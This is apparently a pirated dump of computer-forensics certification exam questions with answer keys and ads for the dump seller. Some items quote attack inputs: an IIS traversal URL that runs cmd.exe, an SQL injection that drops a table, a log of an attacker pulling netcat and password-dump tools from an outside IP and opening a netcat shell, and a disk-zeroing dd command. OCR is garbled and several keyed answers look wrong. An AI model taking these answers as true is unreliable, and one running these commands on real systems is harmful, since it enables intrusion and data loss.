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NEW QUESTION 1

- (Exam Topic 1)

You are the security analyst working for a private company out of France. Your current assignment is to obtain credit card information from a Swiss bank owned by
that company. After initial reconnaissance, you discover that the bank security defenses are very strong and would take too long to penetrate. You decide to get
the information by monitoring the traffic between the bank and one of its subsidiaries in London. After monitoring some of the traffic, you see a lot of FTP packets
traveling back and forth. You want to sniff the traffic and extract usernames and passwords. What tool could you use to get this information?

A. Airsnort
B. Snort

C. Ettercap
D. RaidSniff

Answer: C

NEW QUESTION 2
- (Exam Topic 1)
It takes mismanaged case/s to ruin your professional reputation as a computer forensics examiner?

A. by law, three
B. quite a few
C. only one

D. at least two

Answer: C

NEW QUESTION 3

- (Exam Topic 1)

What will the following URL produce in an unpatched 11IS Web Server? http://www.thetargetsite.com/scripts/..%
co%af../..%co%af../windows/system32/cmd.exe?/c+dir+c:\

A. Directory listing of C: drive on the web server

B. Insert a Trojan horse into the C: drive of the web server

C. Execute a buffer flow in the C: drive of the web server

D. Directory listing of the C:\windows\system32 folder on the web server

Answer: A

NEW QUESTION 4

- (Exam Topic 1)

John is using Firewalk to test the security of his Cisco PIX firewall. He is also utilizing a sniffer located on a subnet that resides deep inside his network. After
analyzing the sniffer log files, he does not see any of the traffic produced by Firewalk. Why is that?

A. Firewalk cannot pass through Cisco firewalls

B. Firewalk sets all packets with a TTL of zero

C. Firewalk cannot be detected by network sniffers
D. Firewalk sets all packets with a TTL of one

Answer: D

NEW QUESTION 5

- (Exam Topic 1)

Law enforcement officers are conducting a legal search for which a valid warrant was obtained.

While conducting the search, officers observe an item of evidence for an unrelated crime that was not included in the warrant. The item was clearly visible to the
officers and immediately identified as evidence. What is the term used to describe how this evidence is admissible?

A. Plain view doctrine

B. Corpus delicti

C. Locard Exchange Principle
D. Ex Parte Order

Answer: A

NEW QUESTION 6

- (Exam Topic 1)

A suspect is accused of violating the acceptable use of computing resources, as he has visited adult websites and downloaded images. The investigator wants to
demonstrate that the suspect did indeed visit these sites. However, the suspect has cleared the search history and emptied the cookie cache. Moreover, he has
removed any images he might have downloaded. What can the investigator do to prove the violation?

A. Image the disk and try to recover deleted files

B. Seek the help of co-workers who are eye-withesses

C. Check the Windows registry for connection data (you may or may not recover)
D. Approach the websites for evidence

Answer: A
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NEW QUESTION 7

- (Exam Topic 1)

You have completed a forensic investigation case. You would like to destroy the data contained in various disks at the forensics lab due to sensitivity of the case.
How would you permanently erase the data on the hard disk?

A. Throw the hard disk into the fire

B. Run the powerful magnets over the hard disk

C. Format the hard disk multiple times using a low level disk utility
D. Overwrite the contents of the hard disk with Junk data

Answer: A

NEW QUESTION 8
- (Exam Topic 1)
Area density refers to:

A. the amount of data per disk

B. the amount of data per partition

C. the amount of data per square inch
D. the amount of data per platter

Answer: A

NEW QUESTION 9
- (Exam Topic 1)
A packet is sent to a router that does not have the packet destination address in its route table. How will the packet get to its proper destination?

A. Root Internet servers

B. Border Gateway Protocol
C. Gateway of last resort

D. Reverse DNS

Answer: C

NEW QUESTION 10

- (Exam Topic 1)

When reviewing web logs, you see an entry for resource not found in the HTTP status code filed. What is the actual error code that you would see in the log for
resource not found?

A. 202
B. 404
C. 505
D. 909

Answer: B

NEW QUESTION 10

- (Exam Topic 1)

You have been asked to investigate after a user has reported a threatening e-mail they have received from an external source. Which of the following are you most
interested in when trying to trace the source of the message?

A. The X509 Address

B. The SMTP reply Address
C. The E-mail Header

D. The Host Domain Name

Answer: C

NEW QUESTION 14

- (Exam Topic 2)

Preparing an image drive to copy files to is the first step in Linux forensics. For this purpose, what would the following command accomplish?
dcfldd if=/dev/zero of=/dev/hda bs=4096 conv=noerror, sync

A. Fill the disk with zeros

B. Low-level format

C. Fill the disk with 4096 zeros

D. Copy files from the master disk to the slave disk on the secondary IDE controller

Answer: A

NEW QUESTION 16
- (Exam Topic 2)
Which of the following file contains the traces of the applications installed, run, or uninstalled from a system?

A. Shortcut Files

B. Virtual files
C. Prefetch Files
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D. Image Files

Answer: A

NEW QUESTION 21

- (Exam Topic 2)

What is considered a grant of a property right given to an individual who discovers or invents a new machine, process, useful composition of matter or
manufacture?

A. Copyright

B. Design patent
C. Trademark

D. Utility patent

Answer: D

NEW QUESTION 25
- (Exam Topic 2)
What will the following command accomplish? dd if=/dev/xxx of=mbr.backup bs=512 count=1

A. Back up the master boot record

B. Restore the master boot record

C. Mount the master boot record on the first partition of the hard drive
D. Restore the first 512 bytes of the first partition of the hard drive

Answer: A

NEW QUESTION 26

- (Exam Topic 2)

Shane has started the static analysis of a malware and is using the tool ResourcesExtract to find more details of the malicious program. What part of the analysis
is he performing?

A. Identifying File Dependencies
B. Strings search

C. Dynamic analysis

D. File obfuscation

Answer: B

NEW QUESTION 29
- (Exam Topic 2)
When using an iPod and the host computer is running Windows, what file system will be used?

A. iPod+
B. HFS
C. FAT16
D. FAT32

Answer: D

NEW QUESTION 34
- (Exam Topic 1)
After undergoing an external IT audit, George realizes his network is vulnerable to DDoS attacks. What countermeasures could he take to prevent DDoS attacks?

A. Enable direct broadcasts
B. Disable direct broadcasts
C. Disable BGP
D. Enable BGP

Answer: B

NEW QUESTION 35

- (Exam Topic 1)

You are a security analyst performing reconnaissance on a company you will be carrying out a penetration test for. You conduct a search for IT jobs on Dice.com
and find the following information for an open position: 7+ years experience in Windows Server environment 5+ years experience in Exchange 2000/2003
environment Experience with Cisco Pix Firewall, Linksys 1376 router, Oracle 11i and MYOB v3.4 Accounting software are required MCSA desired, MCSE, CEH
preferred No Unix/Linux Experience needed What is this information posted on the job website considered?

A. Saocial engineering exploit
B. Competitive exploit

C. Information vulnerability
D. Trade secret

Answer: C

NEW QUESTION 37

Guaranteed success with Our exam guides visit - https://www.certshared.com



Certshared now are offering 100% pass ensure 312-49v10 dumps!
rJ CEI"tShEI,I"Ed https://www.certshared.com/exam/312-49v10/ (701 Q&AS)

- (Exam Topic 1)
What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the
casual observer?

A. rootkit

B. key escrow

C. steganography
D. Offset

Answer: C

NEW QUESTION 40

- (Exam Topic 1)

When an investigator contacts by telephone the domain administrator or controller listed by a Who is lookup to request all e-mails sent and received for a user
account be preserved, what U.S.C. statute authorizes this phone call and obligates the ISP to preserve e-mail records?

A. Title 18, Section 1030

B. Title 18, Section 2703(d)

C. Title 18, Section Chapter 90
D. Title 18, Section 2703(f)

Answer: D

NEW QUESTION 45
- (Exam Topic 1)
Printing under a Windows Computer normally requires which one of the following files types to be created?

A. EME
B. MEM
C. EMF
D. CME

Answer: C

NEW QUESTION 47
- (Exam Topic 1)
Which part of the Windows Registry contains the user's password file?

A. HKEY_LOCAL_MACHINE

B. HKEY_CURRENT_CONFIGURATION
C. HKEY_USER

D. HKEY_CURRENT_USER

Answer: A

NEW QUESTION 48
- (Exam Topic 1)
One way to identify the presence of hidden partitions on a suspect's hard drive is to:

A. Add up the total size of all known partitions and compare it to the total size of the hard drive
B. Examine the FAT and identify hidden partitions by noting an H in the partition Type field

C. Examine the LILO and note an H in the partition Type field

D. Itis not possible to have hidden partitions on a hard drive

Answer: A

NEW QUESTION 52

- (Exam Topic 1)

You are assisting a Department of Defense contract company to become compliant with the stringent security policies set by the DoD. One such strict rule is that
firewalls must only allow incoming connections that were first initiated by internal computers. What type of firewall must you implement to abide by this policy?

A. Packet filtering firewall

B. Circuit-level proxy firewall

C. Application-level proxy firewall
D. Stateful firewall

Answer: D

NEW QUESTION 55

- (Exam Topic 1)

In conducting a computer abuse investigation you become aware that the suspect of the investigation is using ABC Company as his Internet Service Provider
(ISP). You contact ISP and request that they provide you assistance with your investigation. What assistance can the ISP provide?

A. The ISP can investigate anyone using their service and can provide you with assistance

B. The ISP can investigate computer abuse committed by their employees, but must preserve the privacy of their customers and therefore cannot assist you
without a warrant

C. The ISP can't conduct any type of investigations on anyone and therefore can't assist you
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D. ISP's never maintain log files so they would be of no use to your investigation

Answer: B

NEW QUESTION 57

- (Exam Topic 1)

If you plan to startup a suspect's computer, you must modify the to ensure that you do not contaminate or alter data on the suspect's hard drive by booting to the
hard drive.

A. deltree command
B. CMOS

C. Boot.sys

D. Scandisk utility

Answer: C

NEW QUESTION 60
- (Exam Topic 1)
When investigating a Windows System, it is important to view the contents of the page or swap file because:

A. Windows stores all of the systems configuration information in this file

B. This is file that windows use to communicate directly with Registry

C. A Large volume of data can exist within the swap file of which the computer user has no knowledge

D. This is the file that windows use to store the history of the last 100 commands that were run from the command line

Answer: C

NEW QUESTION 63
- (Exam Topic 1)
What method of computer forensics will allow you to trace all ever-established user accounts on a Windows 2000 sever the course of its lifetime?

A. forensic duplication of hard drive
B. analysis of volatile data

C. comparison of MD5 checksums
D. review of SIDs in the Registry

Answer: C

NEW QUESTION 66

- (Exam Topic 1)

George is the network administrator of a large Internet company on the west coast. Per corporate policy, none of the employees in the company are allowed to use
FTP or SFTP programs without obtaining approval from the IT department. Few managers are using SFTP program on their computers. Before talking to his boss,
George wants to have some proof of their activity. George wants to use Ethereal to monitor network traffic, but only SFTP traffic to and from his network.

What filter should George use in Ethereal?

A. src port 23 and dst port 23

B. udp port 22 and host 172.16.28.1/24
C. net port 22

D. src port 22 and dst port 22

Answer: D

NEW QUESTION 71

- (Exam Topic 1)

You are working in the security Department of law firm. One of the attorneys asks you about the topic of sending fake email because he has a client who has been
charged with doing just that. His client alleges that he is innocent and that there is no way for a fake email to actually be sent. You inform the attorney that his client
is mistaken and that fake email is possibility and that you can prove it. You return to your desk and craft a fake email to the attorney that appears to come from his
boss. What port do you send the email to on the company SMTP server?

A. 10
B. 25
C. 110
D. 135

Answer: B

NEW QUESTION 73

- (Exam Topic 1)

You are conducting an investigation of fraudulent claims in an insurance company that involves complex text searches through large numbers of documents.
Which of the following tools would allow you to quickly and efficiently search for a string within a file on the bitmap image of the target computer?

A. Stringsearch
B. grep

C. dir

D. vim

Answer: B
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NEW QUESTION 78

- (Exam Topic 1)

Kimberly is studying to be an IT security analyst at a vocational school in her town. The school offers many different programming as well as networking
languages. What networking protocol language should she learn that routers utilize?

A. ATM
B. UDP
C.BPG
D. OSPF

Answer: D

NEW QUESTION 83

- (Exam Topic 1)

James is testing the ability of his routers to withstand DoS attacks. James sends ICMP ECHO requests to the broadcast address of his network. What type of DoS
attack is James testing against his network?

A. Smurf

B. Trinoo

C. Fraggle
D. SYN flood

Answer: A

NEW QUESTION 88
- (Exam Topic 1)
Why are Linux/Unix based computers better to use than Windows computers for idle scanning?

A. Linux/Unix computers are easier to compromise
B. Linux/Unix computers are constantly talking

C. Windows computers are constantly talking

D. Windows computers will not respond to idle scans

Answer: C

NEW QUESTION 90

- (Exam Topic 1)

You are a computer forensics investigator working with local police department and you are called to assist in an investigation of threatening emails. The
complainant has printer out 27 email messages from the suspect and gives the printouts to you. You inform her that you will need to examine her computer
because you need access to the in order to track the emails back to the suspect.

A. Routing Table

B. Firewall log

C. Configuration files
D. Email Header

Answer: D

NEW QUESTION 91

- (Exam Topic 1)

Harold wants to set up a firewall on his network but is not sure which one would be the most appropriate. He knows he needs to allow FTP traffic to one of the
servers on his network, but he wants to only allow

FTP-PUT. Which firewall would be most appropriate for Harold? needs?

A. Circuit-level proxy firewall

B. Packet filtering firewall

C. Application-level proxy firewall
D. Data link layer firewall

Answer: C

NEW QUESTION 93

- (Exam Topic 1)

You are using DriveSpy, a forensic tool and want to copy 150 sectors where the starting sector is 1709 on the primary hard drive. Which of the following formats
correctly specifies these sectors?

A. 0:1000, 150
B. 0:1709, 150
C. 1:1709, 150
D. 0:1709-1858

Answer: B

NEW QUESTION 97
- (Exam Topic 1)
The efforts to obtain information before a trail by demanding documents, depositions, questioned and answers written under oath, written requests for admissions
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of fact and examination of the scene is a description of what legal term?

A. Detection
B. Hearsay

C. Spoliation
D. Discovery

Answer: D

NEW QUESTION 98
- (Exam Topic 1)
What is a good security method to prevent unauthorized users from "tailgating"?

A. Man trap

B. Electronic combination locks
C. Pick-resistant locks

D. Electronic key systems

Answer: A

NEW QUESTION 103

- (Exam Topic 1)

You are contracted to work as a computer forensics investigator for a regional bank that has four 30 TB storage area networks that store customer data.
What method would be most efficient for you to acquire digital evidence from this network?

A. create a compressed copy of the file with DoubleSpace
B. create a sparse data copy of a folder or file

C. make a bit-stream disk-to-image file

D. make a bit-stream disk-to-disk file

Answer: C

NEW QUESTION 106
- (Exam Topic 1)
Which of the following should a computer forensics lab used for investigations have?

A. isolation

B. restricted access
C. open access

D. an entry log

Answer: B

NEW QUESTION 110

- (Exam Topic 1)

You are running known exploits against your network to test for possible vulnerabilities. To test the strength of your virus software, you load a test network to mimic
your production network. Your software successfully blocks some simple macro and encrypted viruses. You decide to really test the software by using virus code
where the code rewrites itself entirely and the signatures change from child to child, but the functionality stays the same. What type of virus is this that you are
testing?

A. Polymorphic
B. Metamorphic
C. Oligomorhic
D. Transmorphic

Answer: B

NEW QUESTION 115
- (Exam Topic 1)
A(n) is one that's performed by a computer program rather than the attacker manually performing the steps in the attack sequence.

A. blackout attack

B. automated attack

C. distributed attack

D. central processing attack

Answer: B

NEW QUESTION 118
- (Exam Topic 1)
If you see the files Zer0.tar.gz and copy.tar.gz on a Linux system while doing an investigation, what can you conclude?

A. The system files have been copied by a remote attacker

B. The system administrator has created an incremental backup
C. The system has been compromised using a tOrnrootkit

D. Nothing in particular as these can be operational files
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Answer: D

NEW QUESTION 120
- (Exam Topic 1)
Which is a standard procedure to perform during all computer forensics investigations?

A. with the hard drive removed from the suspect PC, check the date and time in the system's CMOS
B. with the hard drive in the suspect PC, check the date and time in the File Allocation Table

C. with the hard drive removed from the suspect PC, check the date and time in the system's RAM
D. with the hard drive in the suspect PC, check the date and time in the system's CMOS

Answer: A

NEW QUESTION 124
- (Exam Topic 1)
Microsoft Outlook maintains email messages in a proprietary format in what type of file?

A. .email
B. .mail
C. .pst
D. .doc

Answer: C

NEW QUESTION 126

- (Exam Topic 1)

You are called in to assist the police in an investigation involving a suspected drug dealer. The suspects house was searched by the police after a warrant was
obtained and they located a floppy disk in the suspects bedroom. The disk contains several files, but they appear to be password protected. What are two common
methods used by password cracking software that you can use to obtain the password?

A. Limited force and library attack

B. Brute Force and dictionary Attack

C. Maximum force and thesaurus Attack
D. Minimum force and appendix Attack

Answer: B

NEW QUESTION 129

- (Exam Topic 1)

In General, Involves the investigation of data that can be retrieved from the hard disk or other disks of a computer by applying scientific methods to retrieve the
data.

A. Network Forensics
B. Data Recovery

C. Disaster Recovery
D. Computer Forensics

Answer: D

NEW QUESTION 134

- (Exam Topic 1)

Meyer Electronics Systems just recently had a number of laptops stolen out of their office. On these laptops contained sensitive corporate information regarding
patents and company strategies. A month after the laptops were stolen, a competing company was found to have just developed products that almost exactly
duplicated products that Meyer produces. What could have prevented this information from being stolen from the laptops?

A. EFS Encryption
B. DFS Encryption
C. IPS Encryption
D. SDW Encryption

Answer: A

NEW QUESTION 135

- (Exam Topic 1)

When using Windows acquisitions tools to acquire digital evidence, it is important to use a well-tested hardware write-blocking device to:
A. Automate Collection from image files

B. Avoiding copying data from the boot partition

C. Acquire data from host-protected area on a disk

D. Prevent Contamination to the evidence drive

Answer: D

NEW QUESTION 138
- (Exam Topic 1)
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What is the name of the Standard Linux Command that is also available as windows application that can be used to create bit-stream images?

A. mcopy
B. image
C. MD5
D. dd

Answer: D

NEW QUESTION 143

- (Exam Topic 1)

What will the following command produce on a website login page? SELECT email, passwd, login_id, full_name FROM members WHERE email =
'someone@somehwere.com'; DROP TABLE members; --'

A. Deletes the entire members table

B. Inserts the Error! Reference source not found.email address into the members table
C. Retrieves the password for the first user in the members table

D. This command will not produce anything since the syntax is incorrect

Answer: A

NEW QUESTION 144
- (Exam Topic 1)
Diskcopy is:

A. a utility by AccessData

B. a standard MS-DOS command
C. Digital Intelligence utility

D. dd copying tool

Answer: B

Explanation:
diskcopy is a STANDARD DOS utility. C:\WINDOWS>diskcopy /? Copies the contents of one floppy disk to another.

NEW QUESTION 148
- (Exam Topic 1)
The refers to handing over the results of private investigations to the authorities because of indications of criminal activity.

A. Locard Exchange Principle
B. Clark Standard

C. Kelly Policy

D. Silver-Platter Doctrine

Answer: D

NEW QUESTION 150
- (Exam Topic 1)
Which of the following refers to the data that might still exist in a cluster even though the original file has been overwritten by another file?

A. Sector

B. Metadata

C. MFT

D. Slack Space

Answer: D

NEW QUESTION 154

- (Exam Topic 1)

Jason has set up a honeypot environment by creating a DMZ that has no physical or logical access to his production network. In this honeypot, he has placed a
server running Windows Active Directory. He has also placed a Web server in the DMZ that services a number of web pages that offer visitors a chance to
download sensitive information by clicking on a button. A week later, Jason finds in his network logs how an intruder accessed the honeypot and downloaded
sensitive information. Jason uses the logs to try and prosecute the intruder for stealing sensitive corporate information. Why will this not be viable?

A. Entrapment

B. Enticement

C. Intruding into a honeypot is not illegal
D. Intruding into a DMZ is not illegal

Answer: A

NEW QUESTION 158

- (Exam Topic 1)

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Short reported Unicode attacks from 213.116.251.162. The File Permission
Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a
Unicode attack and eventually succeeds in displaying boot.ini.

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to
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construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and
a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.

"cmdl.exe /c open 213.116.251.162 >ftpcom" "cmdl.exe /c echo johna2k >>ftpcom

cmdl.exe /c echo haxedjO0 >>ftpcom

cmdl.exe /c echo get nc.exe

>>ftpcom" "cmdl.exe /c echo get pdump.exe >>ftpcom" "cmd1l.exe /c echo get samdump.dll >>ftpcom" "cmd1l.exe /c echo quit >>ftpcom"

"cmd1l.exe /c ftp -s:ftpcom”

"cmdl.exe /c nc -l -p 6969 -e cmdl.exe” What can you infer from the exploit given?

A. Itis a local exploit where the attacker logs in using username johna2k
B. There are two attackers on the system - johna2k and haxedj00
C. The attack is a remote exploit and the hacker downloads three files

D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port

Answer: C

Explanation:

The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.

NEW QUESTION 162
- (Exam Topic 1)
Before you are called to testify as an expert, what must an attorney do first?

A. engage in damage control

B. prove that the tools you used to conduct your examination are perfect
C. read your curriculum vitae to the jury

D. qualify you as an expert withess

Answer: D

NEW QUESTION 166
- (Exam Topic 1)

This organization maintains a database of hash signatures for known software.

A. International Standards Organization

B. Institute of Electrical and Electronics Engineers
C. National Software Reference Library

D. American National standards Institute

Answer: C

NEW QUESTION 169
- (Exam Topic 1)

When monitoring for both intrusion and security events between multiple computers, it is essential that the computers' clocks are synchronized. Synchronized time
allows an administrator to reconstruct what took place during an attack against multiple computers. Without synchronized time, it is very difficult to determine
exactly when specific events took place, and how events interlace. What is the name of the service used to synchronize time among multiple computers?

A. Universal Time Set

B. Network Time Protocol
C. SyncTime Service

D. Time-Sync Protocol

Answer: B

NEW QUESTION 174
- (Exam Topic 1)

What header field in the TCP/IP protocol stack involves the hacker exploit known as the Ping of Death?

A. ICMP header field
B. TCP header field

C. IP header field

D. UDP header field

Answer: B

NEW QUESTION 176
- (Exam Topic 4)

During a forensic investigation, a large number of files were collected. The investigator needs to evaluate ownership and accountability of those files. Therefore, he

begins to Identify attributes such as "author name," "organization name.
Identification purpose. Which term describes these attributes?

A. Data header
B. Data index
C. Metabase
D. Metadata

Answer: D

NEW QUESTION 178
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- (Exam Topic 4)
When Investigating a system, the forensics analyst discovers that malicious scripts were Injected Into benign and trusted websites. The attacker used a web
application to send malicious code. In the form of a browser side script, to a different end-user. What attack was performed here?

A. Brute-force attack

B. Cookie poisoning attack
C. Cross-site scripting attack
D. SQL injection attack

Answer: C

NEW QUESTION 179

- (Exam Topic 4)

You are a forensic investigator who is analyzing a hard drive that was recently collected as evidence. You have been unsuccessful at locating any meaningful
evidence within the file system and suspect a drive wiping utility may have been used. You have reviewed the keys within the software hive of the Windows
registry and did not find any drive wiping utilities. How can you verify that drive wiping software was used on the hard drive?

A. Document in your report that you suspect a drive wiping utility was used, but no evidence was found
B. Check the list of installed programs

C. Load various drive wiping utilities offline, and export previous run reports

D. Look for distinct repeating patterns on the hard drive at the bit level

Answer: D

NEW QUESTION 184
- (Exam Topic 4)
According to RFC 3227, which of the following is considered as the most volatile item on a typical system?

A. Registers and cache

B. Temporary system files

C. Archival media

D. Kernel statistics and memory

Answer: A

NEW QUESTION 185

- (Exam Topic 4)

During an Investigation. Noel found a SIM card from the suspect's mobile. The ICCID on the card is 8944245252001451548.
What does the first four digits (89 and 44) In the ICCID represent?

A. TAC and industry identifier

B. Country code and industry identifier
C. Industry identifier and country code
D. Issuer identifier number and TAC

Answer: C

NEW QUESTION 190

- (Exam Topic 4)

Consider a scenario where a forensic investigator is performing malware analysis on a memory dump acquired from a victims computer. The investigator uses
Volatility Framework to analyze RAM contents; which plugin helps investigator to identify hidden processes or injected code/DLL in the memory dump?

A. pslist

B. malscan
C. mallist
D. malfind

Answer: D

NEW QUESTION 193

- (Exam Topic 4)

Which OWASP IoT vulnerability talks about security flaws such as lack of firmware validation, lack of secure delivery, and lack of anti-rollback mechanisms on loT
devices?

A. Lack of secure update mechanism

B. Use of insecure or outdated components
C. Insecure default settings

D. Insecure data transfer and storage

Answer: A

NEW QUESTION 198

- (Exam Topic 4)

Which of the following methods of mobile device data acquisition captures all the data present on the device, as well as all deleted data and access to unallocated

space?

A. Manual acquisition
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B. Logical acquisition
C. Direct acquisition
D. Physical acquisition

Answer: D

NEW QUESTION 201

- (Exam Topic 4)

Which set of anti-forensic tools/techniques allows a program to compress and/or encrypt an executable file to hide attack tools from being detected by reverse-
engineering or scanning?

A. Packers

B. Emulators

C. Password crackers
D. Botnets

Answer: A

NEW QUESTION 202

- (Exam Topic 4)

Jeff is a forensics investigator for a government agency's cyber security office. Jeff Is tasked with acquiring a memory dump of a Windows 10 computer that was
involved In a DDoS attack on the government agency's web application. Jeff is onsite to collect the memory. What tool could Jeff use?

A. Volatility

B. Autopsy

C. RAM Mapper
D. Memcheck

Answer: A

NEW QUESTION 207
- (Exam Topic 4)
Rule 1002 of Federal Rules of Evidence (US) talks about

A. Admissibility of original

B. Admissibility of duplicates

C. Requirement of original

D. Admissibility of other evidence of contents

Answer: C

NEW QUESTION 210
- (Exam Topic 4)
What happens lo the header of the file once It Is deleted from the Windows OS file systems?

A. The OS replaces the first letter of a deleted file name with a hex byte code: E5h

B. The OS replaces the entire hex byte coding of the file.

C. The hex byte coding of the file remains the same, but the file location differs

D. The OS replaces the second letter of a deleted file name with a hex byte code: Eh5

Answer: A

NEW QUESTION 215

- (Exam Topic 4)

Maria has executed a suspicious executable file In a controlled environment and wants to see if the file adds/modifies any registry value after execution via
Windows Event Viewer. Which of the following event ID should she look for In this scenario?

A. Event ID 4657
B. Event ID 4624
C. Event ID 4688
D. Event ID 7040

Answer: A

NEW QUESTION 216

- (Exam Topic 4)

Cybercriminals sometimes use compromised computers to commit other crimes, which may involve using computers or networks to spread malware or lllegal
Information. Which type of cybercrime stops users from using a device or network, or prevents a company from providing a software service to its customers?

A. Denial-of-Service (DoS) attack
B. Malware attack

C. Ransomware attack

D. Phishing

Answer: C
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NEW QUESTION 221
- (Exam Topic 4)
Which of the following directory contains the binary files or executables required for system maintenance and administrative tasks on a Linux system?

A. /shbin
B. /bin
C. lusr
D. /lib

Answer: A

NEW QUESTION 222

- (Exam Topic 4)

William is examining a log entry that reads 192.168.0.1 - - [18/Jan/2020:12:42:29 +0000) "GET / HTTP/1.1" 200 1861. Which of the following logs does the log
entry belong to?

A. The combined log format of Apache access log
B. The common log format of Apache access log
C. Apache error log

D. lIS log

Answer: A

NEW QUESTION 223

- (Exam Topic 4)

"To ensure that the digital evidence is collected, preserved, examined, or transferred In a manner safeguarding the accuracy and reliability of the evidence, law
enforcement, and forensics organizations must establish and maintain an effective quality system” Is a principle established by:

A. NCIS

B. NIST

C. EC-Council
D. SWGDE

Answer: B

NEW QUESTION 228
- (Exam Topic 4)
Which following forensic tool allows investigator to detect and extract hidden streams on NTFS drive?

A. Stream Detector
B. TimeStomp

C. Autopsy

D. analyzeMFT

Answer: A

NEW QUESTION 232

- (Exam Topic 4)

Frank, a cloud administrator in his company, needs to take backup of the OS disks of two Azure VMs that store business-critical data. Which type of Azure blob
storage can he use for this purpose?

A. Append blob
B. Medium blob
C. Block blob
D. Page blob

Answer: D

NEW QUESTION 233
- (Exam Topic 4)
Which layer in the 10T architecture is comprised of hardware parts such as sensors, RFID tags, and devices that play an important role in data collection?

A. Middleware layer
B. Edge technology layer
C. Application layer
D. Access gateway layer

Answer: B

NEW QUESTION 235

- (Exam Topic 4)

Cloud forensic investigations impose challenges related to multi-jurisdiction and multi-tenancy aspects. To have a better understanding of the roles and
responsibilities between the cloud service provider (CSP) and the client, which document should the forensic investigator review?

A. Service level agreement

B. Service level management
C. National and local regulation

Guaranteed success with Our exam guides visit - https://www.certshared.com



Certshared now are offering 100% pass ensure 312-49v10 dumps!
rJ CEFtShal"Ed https://www.certshared.com/exam/312-49v10/ (701 Q&AS)

D. Key performance indicator

Answer: A

NEW QUESTION 240
- (Exam Topic 4)
Which among the following acts has been passed by the U.S. Congress to protect investors from the possibility of fraudulent accounting activities by corporations?

A. Federal Information Security Management act of 2002

B. Gramm-Leach-Bliley act

C. Health insurance Probability and Accountability act of 1996
D. Sarbanes-Oxley act of 2002

Answer: D

NEW QUESTION 241

- (Exam Topic 4)

Edgar is part of the FBI's forensic media and malware analysis team; he Is analyzing a current malware and Is conducting a thorough examination of the suspect
system, network, and other connected devices. Edgar's approach Is to execute the malware code to know how It Interacts with the host system and Its Impacts on
It. He is also using a virtual machine and a sandbox environment.

What type of malware analysis is Edgar performing?

A. Malware disassembly

B. VirusTotal analysis

C. Static analysis

D. Dynamic malware analysis/behavioral analysis

Answer: D

NEW QUESTION 242

- (Exam Topic 4)

Robert needs to copy an OS disk snapshot of a compromised VM to a storage account in different region for further investigation. Which of the following should he
use in this scenario?

A. Azure CLI

B. Azure Monitor

C. Azure Active Directory
D. Azure Portal

Answer: D

NEW QUESTION 247

- (Exam Topic 4)

An Investigator Is checking a Cisco firewall log that reads as follows:

Aug 21 2019 09:16:44: %ASA-1-106021: Deny ICMP reverse path check from 10.0.0.44 to 10.0.0.33 on Interface outside
What does %ASA-1-106021 denote?

A. Mnemonic message
B. Type of traffic

C. Firewall action

D. Type of request

Answer: C

NEW QUESTION 248

- (Exam Topic 4)

"In exceptional circumstances, where a person finds it necessary to access original data held on a computer or on storage media, that person must be competent
to do so and be able to explain his/her actions and the impact of those actions on the evidence, in the court." Which ACPO principle states this?

A. Principle 1
B. Principle 3
C. Principle 4
D. Principle 2

Answer: D

NEW QUESTION 250

- (Exam Topic 4)

allows a forensic investigator to identify the missing links during investigation.
A. Evidence preservation

B. Chain of custody

C. Evidence reconstruction

D. Exhibit numbering

Answer: C
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NEW QUESTION 252
- (Exam Topic 4)
Place the following In order of volatility from most volatile to the least volatile.

A. Registers and cache, routing tables, temporary file systems, disk storage, archival media
B. Register and cache, temporary file systems, routing tables, disk storage, archival media

C. Registers and cache, routing tables, temporary file systems, archival media, disk storage
D. Archival media, temporary file systems, disk storage, archival media, register and cache

Answer: B

NEW QUESTION 255

- (Exam Topic 4)

In which IoT attack does the attacker use multiple forged identities to create a strong illusion of traffic congestion, affecting communication between neighboring
nodes and networks?

A. Replay attack

B. Jamming attack
C. Blueborne attack
D. Sybil attack

Answer: D

NEW QUESTION 258

- (Exam Topic 4)

Steve received a mail that seemed to have come from her bank. The mail has instructions for Steve to click on a link and provide information to avoid the
suspension of her account. The link in the mail redirected her to a form asking for details such as name, phone number, date of birth, credit card number or PIN,
CW code, SNNs, and email address. On a closer look, Steve realized that the URL of the form in not the same as that of her bank's. Identify the type of external
attack performed by the attacker In the above scenario?

A. Aphishing
B. Espionage
C. Taiigating
D. Brute-force

Answer: A

NEW QUESTION 263

- (Exam Topic 3)

In a computer that has Dropbox client installed, which of the following files related to the Dropbox client store information about local Dropbox installation and the
Dropbox user account, along with email IDs linked with the account?

A. config.db

B. install.db

C. sigstore.db
D. filecache.db

Answer: A

NEW QUESTION 265
- (Exam Topic 4)
Data density of a disk drive is calculated by using

A. Slack space, bit density, and slack density.

B. Track space, bit area, and slack space.

C. Track density, areal density, and slack density.
D. Track density, areal density, and bit density.

Answer: D

NEW QUESTION 268
- (Exam Topic 3)
Which of the following Perl scripts will help an investigator to access the executable image of a process?

A. Lspd.pl
B. Lpsi.pl
C. Lspm.pl
D. Lspi.pl

Answer: D

NEW QUESTION 271

- (Exam Topic 3)

You are assigned a task to examine the log files pertaining to MyISAM storage engine. While examining, you are asked to perform a recovery operation on a

MyISAM log file. Which among the following MySQL Utilities allow you to do so?

A. mysgldump
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B. myisamaccess
C. myisamlog
D. myisamchk

Answer: C

NEW QUESTION 276
- (Exam Topic 3)

Which list contains the most recent actions performed by a Windows User?

A. MRU

B. Activity

C. Recents

D. Windows Error Log

Answer: A

NEW QUESTION 281
- (Exam Topic 3)

Tasklist command displays a list of applications and services with their Process ID (PID) for all tasks running on either a local or a remote computer. Which of the
following tasklist commands provides information about the listed processes, including the image name, PID, name, and number of the session for the process?

A. tasklist /p
B. tasklist /v
C. tasklist /u
D. tasklist /s

Answer: B

NEW QUESTION 282
- (Exam Topic 3)

The Recycle Bin exists as a metaphor for throwing files away, but it also allows a user to retrieve and restore files. Once the file is moved to the recycle bin, a
record is added to the log file that exists in the Recycle Bin. Which of the following files contains records that correspond to each deleted file in the Recycle Bin?

A. INFO2
B. INFO1
C. LOGINFO1
